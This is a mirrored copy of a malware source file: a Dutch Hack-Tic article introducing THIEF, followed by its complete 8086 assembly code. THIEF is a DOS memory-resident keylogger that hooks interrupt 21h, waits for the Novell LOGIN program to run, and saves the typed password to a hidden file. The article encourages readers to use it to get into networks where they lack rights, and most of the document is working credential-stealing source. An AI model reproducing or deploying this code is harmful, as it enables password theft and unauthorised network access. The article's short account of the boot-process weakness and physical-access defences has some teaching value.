mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 11:55:26 +00:00
269 lines
7.4 KiB
NASM
269 lines
7.4 KiB
NASM
|
;redaktie van The Key, John D., Tx, Herman Acker, Peter Poelman, Paul en Rop.
|
|||
|
;Nadruk wordt door de redaktie toegestaan!
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
;
|
|||
|
; Als je via een Local Area Network onder MS-DOS files wilt kunnen bewerken
|
|||
|
;kun je bijna niet om de Novell networksoftware heen. Of je nou op je werk of
|
|||
|
;op school met Novell werkt: je hebt altijd te weinig bevoegdheid op het
|
|||
|
;systeem. Hack-Tic helpt je door te dringen in het systeem met dit artikel van
|
|||
|
;een anonieme auteur.
|
|||
|
;
|
|||
|
; THIEF is een TSR (Terminate and Stay Resident; geheugen-resident) programma
|
|||
|
;voor de IBM-compatible, geschreven in 8086 machinetaal. Het probeert om
|
|||
|
;wachtwoorden voor het Novell PC Local Area Netwerk te stellen. De oorsprong
|
|||
|
;van THIEF ligt op een school met een bloeiende hack-cultuur: George Washington
|
|||
|
;High School in Denver, Colorado USA.
|
|||
|
; Deze school is meer dan goed voorzien van IBM micro's. Vijf lokalen van 30
|
|||
|
;computers hangen allemaal via een ethernet aan elkaar. Het netwerk draait
|
|||
|
;onder Novell. Vier van de vijf lokalen gebruiken boot-proms [geheugenchips op
|
|||
|
;de netwerk-interfacekaart. Zij zorgen ervoor dat er opgestart kan worden
|
|||
|
;zonder dat er een disk (of zelfs een drive(!) nodig is op de betreffende
|
|||
|
;machine.] voor het opstarten van de PC's. De vijfde ruimte bevat IBM PS/2
|
|||
|
;model 80's(!) met harddisks. De systeembeheerders en andere "power-users"
|
|||
|
;maken graag gebruik van deze machines. Deze machines "booten" vanaf hun eigen
|
|||
|
;hard-disks, zij gebruiken geen boot-proms.
|
|||
|
; Op een van deze computers werd THIEF voor het eerst gesignaleerd. THIEF
|
|||
|
;maakt namelijk gebruik van een zwakheid in de beveiliging tijdens de bootfase.
|
|||
|
;In de AUTOEXEC.BAT file werd een extra regel toegevoegd die een "verborgen"
|
|||
|
;programma op de bootschijf activeerde. Zodra er echter een programma met de
|
|||
|
;naam LOGIN wordt uitgevoerd komt THIEF tot leven en hij slaat alle
|
|||
|
;toetsaanslagen op in een (eveneens verborgen) file op de boot disk. De
|
|||
|
;onbevoegde kan later terugkomen en kijken wat zijn val gevangen heeft.
|
|||
|
; Voordat we het "metabolisme" van THIEF verder gaan ontleden eerst even de
|
|||
|
;zwakheden die deze hack mogelijk maken:
|
|||
|
; -Een boot-proces dat veranderd kan worden
|
|||
|
; -Fysieke toegang (door een onbevoegde) tot de computer
|
|||
|
; Beide zijn goed te verhelpen. Boot-proms en een slot op de deur en klaar is
|
|||
|
;Kees.
|
|||
|
; Terug naar het "metabolisme". Nogal verassend is dat het programma dezelfde
|
|||
|
;"hook" gebruikt als de Novell shell. Het grijpt de centrale toegang naar DOS:
|
|||
|
;interrupt 21h [ (hex) wordt door programma's gebruikt om een DOS functie aan te
|
|||
|
;roepen. De Novell-Netware shell onderschept deze stroom om zondig zelf op
|
|||
|
;bepaalde verzoeken te reageren. ]. Het onderschept alle aanroepen naar DOS.
|
|||
|
;Zodra een EXECute file call wordt gemaakt met de filename LOGIN worden alle
|
|||
|
;toetsaanslagen vastgelegd totdat het programma terugkeert naar DOS. Tijdens het
|
|||
|
;LOGIN process wordt het Novell wachtwoord ingetikt en dus is de hacker een
|
|||
|
;wachtwoord rijker. Het is allemaal nog iets te ingewikkeld: het programma had
|
|||
|
;ook gewoon op de speciale Novell inlog functieaanroep kunnen wachten.Maar ach,
|
|||
|
;zo werkt het ook.
|
|||
|
; Dit soort programma's zijn alles behalve nieuw. Ze zijn net zo oud als
|
|||
|
;wachtwoord-beveiliging. Bestudering van dit programma geeft meer inzicht in de
|
|||
|
;problematiek van LAN-beveiliging.
|
|||
|
; De toekomst zal zeker geheel nieuwe identificatietechnieken brengen. Net zo
|
|||
|
;zeker is dat zij begroet zullen worden door geduldige, enigszins doortrapte
|
|||
|
;genialiteit.
|
|||
|
;
|
|||
|
; Opmerking: THIEF werd door zijn maker ook wel eens GETIT genoemd. De maker
|
|||
|
;was gelukkig onvoorzichtig genoeg om de sourcecode te laten slingeren.
|
|||
|
;
|
|||
|
;
|
|||
|
; DE CODE VAN THIEF:
|
|||
|
;
|
|||
|
;
|
|||
|
cseg segment
|
|||
|
assume cs:cseg,ds:cseg
|
|||
|
|
|||
|
org 100h
|
|||
|
public oi21,ac,ob,fn,fh,flag,ni21,jtov,oc,lethro,wpwtf,exist,create,
|
|||
|
public cntr,lits,begin
|
|||
|
|
|||
|
.RADIX 16
|
|||
|
start:
|
|||
|
push cs
|
|||
|
push cs
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
mov ax,0fffeh
|
|||
|
CLI
|
|||
|
pop ss
|
|||
|
mov sp,ax
|
|||
|
STI
|
|||
|
jmp begin
|
|||
|
oi21 dd ?
|
|||
|
ac dw 0
|
|||
|
ob dw 80h dup (?)
|
|||
|
buff2 db 80h dup (?)
|
|||
|
fn db 'c:\testing.tmp',0,' '
|
|||
|
search1 db 'LOGIN'
|
|||
|
foundf db 0
|
|||
|
fh dw 0
|
|||
|
flag db 0
|
|||
|
cntr dw 0
|
|||
|
|
|||
|
ni21:
|
|||
|
assume cs:cseg,ds:nothing,es:nothing
|
|||
|
cmp ax,4b00h
|
|||
|
je exec
|
|||
|
cmp foundf,0ffh
|
|||
|
jne nc
|
|||
|
cmp ah,8
|
|||
|
je oc
|
|||
|
cmp ah,7
|
|||
|
je oc
|
|||
|
|
|||
|
nc:
|
|||
|
push ax
|
|||
|
mov al,cs:flag
|
|||
|
not al
|
|||
|
cmp al,0
|
|||
|
jne jtov
|
|||
|
mov ax,cntr
|
|||
|
inc ax
|
|||
|
mov cntr,ax
|
|||
|
cmp ax,31h
|
|||
|
jb jtov
|
|||
|
xor ax,ax
|
|||
|
mov cntr,ax
|
|||
|
mov flag,al
|
|||
|
pop ax
|
|||
|
pushf
|
|||
|
call dword ptr [oi21]
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
jmp short wpwtf
|
|||
|
|
|||
|
jtov:
|
|||
|
pop ax
|
|||
|
jmp dword ptr cs:[oi21]
|
|||
|
|
|||
|
exec: call scanfor
|
|||
|
jmp nc
|
|||
|
oc:
|
|||
|
|
|||
|
pushf
|
|||
|
call dword ptr cs:[oi21]
|
|||
|
assume ds:cseg
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
push ax
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
mov bx,ac
|
|||
|
mov [bx],al
|
|||
|
inc bx
|
|||
|
mov [ac],bx
|
|||
|
cmp al,0dh
|
|||
|
jne lethro
|
|||
|
mov byte ptr [bx],0ah
|
|||
|
not cs:[flag]
|
|||
|
lethro:
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
pop ds
|
|||
|
iret
|
|||
|
|
|||
|
scanfor:
|
|||
|
push ax
|
|||
|
push di
|
|||
|
push si
|
|||
|
push es
|
|||
|
push ds
|
|||
|
push cs
|
|||
|
push cs
|
|||
|
pop es
|
|||
|
mov si,dx
|
|||
|
mov di,offset buff2
|
|||
|
moveit:
|
|||
|
lodsb
|
|||
|
and al,0dfh
|
|||
|
stosb
|
|||
|
or al,al
|
|||
|
jnz moveit
|
|||
|
pop ds
|
|||
|
mov di,offset buff2
|
|||
|
look:
|
|||
|
push di
|
|||
|
mov si,offset search1
|
|||
|
mov cx,5
|
|||
|
repe cmpsb
|
|||
|
pop di
|
|||
|
or cx,cx
|
|||
|
jz foundit
|
|||
|
inc di
|
|||
|
cmp byte ptr [di+5],0
|
|||
|
je not_found
|
|||
|
jmp look
|
|||
|
not_found:
|
|||
|
xor ax,ax
|
|||
|
mov foundf,al
|
|||
|
jmp short endofsearch
|
|||
|
foundit:
|
|||
|
mov ax,0ffh
|
|||
|
mov foundf,al
|
|||
|
endofsearch:
|
|||
|
pop ds
|
|||
|
pop es
|
|||
|
pop si
|
|||
|
pop di
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
wpwtf:
|
|||
|
mov ax,3d02h
|
|||
|
mov dx,offset fn
|
|||
|
pushf
|
|||
|
call dword ptr [oi21]
|
|||
|
jnc exist
|
|||
|
cmp al,2
|
|||
|
je create
|
|||
|
jmp lethro
|
|||
|
create:
|
|||
|
mov ah,3ch
|
|||
|
mov dx,offset fn
|
|||
|
mov cx,02h+04h
|
|||
|
pushf
|
|||
|
call dword ptr [oi21]
|
|||
|
jnc exist
|
|||
|
jmp lethro
|
|||
|
exist:
|
|||
|
mov fh,ax
|
|||
|
mov bx,ax
|
|||
|
mov ax,4202h
|
|||
|
xor cx,cx
|
|||
|
xor dx,dx
|
|||
|
pushf
|
|||
|
call dword ptr [oi21]
|
|||
|
mov cx,[ac]
|
|||
|
mov dx,offset ob
|
|||
|
sub cx,dx
|
|||
|
mov [ac],dx
|
|||
|
inc cx
|
|||
|
mov bx,fh
|
|||
|
mov ah,40h
|
|||
|
pushf
|
|||
|
call dword ptr [oi21]
|
|||
|
mov ah,3eh
|
|||
|
mov bx,fh
|
|||
|
pushf
|
|||
|
call dword ptr [oi21]
|
|||
|
jmp lethro
|
|||
|
|
|||
|
lits db 90h
|
|||
|
begin:
|
|||
|
mov ax,offset ob
|
|||
|
mov [ac],ax
|
|||
|
mov ax,3521h
|
|||
|
int 21h
|
|||
|
mov di,offset oi21
|
|||
|
mov [di],bx
|
|||
|
mov [di+2],es
|
|||
|
mov dx,offset ni21
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
mov ax,2521h
|
|||
|
int 21h
|
|||
|
mov dx,offset lits
|
|||
|
int 27h
|
|||
|
cseg ends
|
|||
|
end start
|
|||
|
|